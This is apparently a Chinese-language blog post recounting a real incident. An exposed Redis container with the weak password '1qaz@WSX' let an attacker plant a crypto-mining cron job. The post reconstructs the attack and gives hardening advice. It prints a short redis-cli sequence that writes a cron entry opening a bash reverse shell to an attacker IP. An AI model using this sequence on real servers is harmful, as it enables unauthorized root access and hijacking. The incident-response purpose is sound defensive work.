Redis配置不当致使Root被提权漏洞

发表于 | 分类于
本文字数： 2k | 阅读时长 ≈ 2 分钟

Redis配置不当致使Root被提权漏洞

记录一下一次补漏洞的经历，难得有这么经典的案例

背景

公司和某银行之间有些合作，委托银行部署了一个专门用于收罚款的程序。公司出服务器（阿里云ECS），银行出应用，因为公司毕竟是大客户，银行也没提收钱的事情，就这么免费帮忙部署了这么个应用。

当然有人占了银行的便宜，那么有人就要被银行占便宜，谁是这个倒霉的人呢，他就是银行外包。于是这个应用的开发和部署都是银行外包搞定的，当时和外包对接的老哥提了必须基于docker部署该应用，方便以后迁移到k8s。

然后好玩的来了，对于老哥的要求，外包公司很配合。一个基于nutz框架写的java应用，打包成jar包以后，docker build&docker run。然后这应用需要redis\mysql\nginx这些基础设施，于是从网上copy了几个docker-compose文件，分别docker-compose up,暴露所有需要的端口即可。

理论上来说，这些东西全放在一个docker-compose文件内，或者共用一个docker网络，也无需向外暴露接口，当时负责对接的老哥也没仔细审核，于是就埋下了隐患。

问题发现

  1. 2023-03-17 17:39:40 ，阿里云云安全中心发出安全告警，提示“Redis配置不当致使Root被提权漏洞”；

  2. 攻击溯源如下图：

  3. 操作文件中看到：

问题分析

从上面的提示来说，问题其实很明显，黑客是通过redis的提权漏洞获取到了系统的root权限然后在cron定时任务里放东西了，一般来说都是挖矿脚本之类。黑客通过redis的提权漏洞获取到的其实是docker容器内的root权限，所以设置的定时任务应当也是在docker容器内，影响范围其实控制在了容器内。

果不其然，进入redis容器内，查看定时任务，看到了被恶意写入的挖矿脚本。

1
2
3
docker exec -it redis sh
cd /var/spool/cron/
cat root

结果如下：

随便百度一下，属于是老面孔了：

问题解决

最简单的处理方法当然就是销毁被黑的redis容器然后重起一个，无非就是docker-compose down和up的事情，这些恶意写入的脚本只要没有存在docker持久化的文件系统内,自然就会销毁。

但是，如果只是简单重启一下容器，后面再来同样的攻击咋办，因此需要找到防御薄弱造成问题的地方进行修补。

能通过redis提权，说明攻破了redis，简单看一下redis设置，果然发现两个问题：

  1. 默认端口6379，明摆着告诉黑客，我是redis,欢迎光临；
  2. 打开redis.conf一看，redis弱密码，1qaz@WSX，非常经典，暴露破解密码字典里的常客；

大概能够回溯出黑客的攻击路径了：

  1. 扫描服务器端口，找到redis的6379端口

  2. 暴力破解尝试连接redis

  3. 连接成功后，通过redis写入计划任务，具体方式应当是这样的：

    • 在数据库中插入一条数据，将计划任务的内容作为value，key值随意，
    • 通过修改数据库的默认路径为目标主机计划任务的路径，把缓冲的数据保存在文件里，这样就可以在服务器端成功写入一个计划任务进行反弹shell,可以参照下面的命令执行
    1
    2
    3
    4
    5
    redis-cli -h 192.168.1.2 -p 6379
    set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
    config set dir /var/spool/cron/crontabs/
    config set dbfilename root
    save

目前最低成本的修补漏洞的方法：

  1. 修改默认端口
  2. 修改弱密码
  3. 设置防火墙安全策略

于是就这么简单处理了下然后联系外包公司修改他们应用里的配置，实际上除了上面两项，最好处理的办法是：

  1. redis容器如无必要，不对外开放端口，在容器内可以用docker network通信；
  2. 配合防火墙安全策略（如iptables）限制连接，指定能够访问redis服务的ip;
  3. 降权：以低权限运行 Redis 服务
  4. 禁止使用root权限启动redis服务

不过考虑到和外包协调的问题，还有不要对正在运行的应用的框架进行大改导致业务宕机，故先临时解决，后续再规划整改。

经验总结

  1. 阿里云的云安全服务是个好东西，这个钱不能省；
  2. 应用部署在docker容器里其实也变相增加了安全性，如果被黑，影响范围能够小一些；
  3. 能不向外暴露的端口就不要向外暴露；
  4. 能不用默认端口地址的就不要用；
  5. 别用弱密码甚至不设密码；
  6. 权限够用即可，别啥都是root权限;
  7. 部署上线前要严格审核（尤其是这种不要钱的外包帮忙做的）；
  8. 防火墙安全策略是个好东西，尽可能设置安全策略限制ip访问；